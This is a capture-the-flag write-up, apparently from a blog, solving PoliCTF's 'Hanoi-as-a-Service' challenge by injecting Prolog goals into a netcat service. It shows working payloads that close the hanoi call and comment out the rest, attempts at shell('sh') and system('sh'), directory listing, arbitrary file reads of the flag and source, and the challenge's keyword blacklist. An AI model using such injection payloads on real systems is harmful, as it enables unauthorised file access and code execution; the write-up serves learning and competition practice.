Let's try it.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1 * Move top disk from a to b
Now we try some non-expected characters.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? a ERROR: Prolog initialisation failed: ERROR:
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? ' ERROR: Prolog initialisation failed: ERROR: Syntax error: End of file in quoted string ERROR: hanoi(') ERROR: ** here ** ERROR:
It seems that we can do command injection here.
Time to take a quick learning course at http://www.swi-prolog.org/pldoc/man?section=builtin.
Let's discover how can we inject something without error. After seeing couple of prolog examples and trial and error we got this.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),write('test'),nl% * Move top disk from a to b test
So, that's it. First part "1)" closes hanoi call and last part "%" comments the real rest of hanoi call. In between we can inject our statements.
Maybe we could execute shell?
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),shell('sh'),nl% Sorry, that's not implemented!
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),system('sh'),nl% Nice try...
Nah, seems it's blacklisted or something.
So the idea is to read flag file and print it.
Flag is usually in file called "flag".
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/haas/flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
It seems we'll have to get listing first in order to find flag file. There's a "ls" statement which can be used for this.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),ls,nl% * Move top disk from a to b bin/ initrd.img mnt/ run/ usr/ boot/ lib/ netdumps/ sbin/ var/ dev/ lib64/ opt/ srv/ vmlinuz etc/ lost+found/ proc/ sys/ home/ media/ root/ tmp/
After that we should use working_directory to switch current directory and do another ls under home and so on ...
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home'),ls,nl% * Move top disk from a to b ctf/ ubuntu/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf'),ls,nl% * Move top disk from a to b haas/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf/haas'),ls,nl% * Move top disk from a to b haas haas-proxy.py jhknsjdfhef_flag_here
Ok, so that's the file name - jhknsjdfhef_flag_here.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl% * Move top disk from a to b ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1: Prolog initialisation failed: /home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
Damn it. Google says that we have to use at_end_of_stream(Str) somewhere, but I didn't manage to get it so I've switched to another method.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
Let's convert those numbers into characters.
C:\Users\fstipanovic>python Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125] >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
That's the flag.
I wanted to take a look at challenge source codes and this was a way to get them.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),listing,nl% * Move top disk from a to b dohanoi(0, _, _, _) :- !. dohanoi(A, C, E, D) :- !, B is A+ -1, dohanoi(B, C, D, E), moveit(C, E), dohanoi(B, D, E, C). hanoi(A) :- A<15 br=""> dohanoi(A, a, b, c). hanoi(A) :-
A>=15, write('Hey, this problem is too big for my poor mind...'), nl. :- multifile prolog_clause_name/2. :- dynamic prolog_exception_hook/4. :- multifile prolog_exception_hook/4. prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :- prolog_stack: ( ( C==none -> stack_guard(none) ; prolog_frame_attribute(C, predicate_indicator, E), debug(backtrace, 'Got exception ~p (Ctx0=~p, Catcher=~p)', [A, D, E]), stack_guard(E) ), ( current_prolog_flag(backtrace_depth, F) -> F>0 ; F=20 ), get_prolog_backtrace(G, F, H), debug(backtrace, 'Stack = ~p', [H]), clean_stack(H, I) ). :- dynamic resource/3. :- multifile resource/3. first(A, [A|_]). :- multifile prolog_list_goal/1. :- thread_local thread_message_hook/3. :- dynamic thread_message_hook/3. :- volatile thread_message_hook/3. :- multifile prolog_predicate_name/2. moveit(A, B) :- print('* Move top disk from '), print(A), print(' to '), print(B), nl. main :- A=[104, 97, 110, 111, 105, 40], D=[41], write('Welcome to the Hanoi-as-a-Service cloud platform!'), nl, write('How many disks does your tower have?'), nl, read_line_to_codes(user_input, B), append(A, B, C), append(C, D, E), string_to_atom(E, F), read_term_from_atom(F, G, []), call(G), halt(0). :- multifile message_property/2.15>
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
fritz@fritz-virtual-machine:~/ctf/polictf$ python Python 2.7.8 (default, Oct 20 2014, 15:05:19) [GCC 4.9.1] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> a = ... >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b #!/usr/bin/env python import subprocess import sys import os import threading import random def stdinreader(): while True: try: l = sys.stdin.readline() except KeyboardInterrupt: break if not l: break yield l class Proxy: def __init__(self, blacklist, phrases, args): self.blacklist = blacklist self.phrases = phrases try: self.chld = subprocess.Popen(args, stdin=subprocess.PIPE) except OSError: print "Error starting the haas process." sys.exit(1) def is_allowed(self, l): return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True) def listen(self): for line in stdinreader(): if self.chld.poll() is None: if self.is_allowed(line): self.chld.communicate(line) else: print random.choice(self.phrases) break else: return self.chld.terminate() def run(self): t = threading.Thread(target=self.listen) t.daemon = True t.start() self.chld.wait() if __name__ == '__main__': bl = ['shell','unix','system','cd','argv'] phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"] ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas") if len(sys.argv) == 2: ex = sys.argv[1] proxy = Proxy(bl, phrases, [ex]) proxy.run()
So we were right. Shell, unix and system were blacklisted.
No comments:
Post a Comment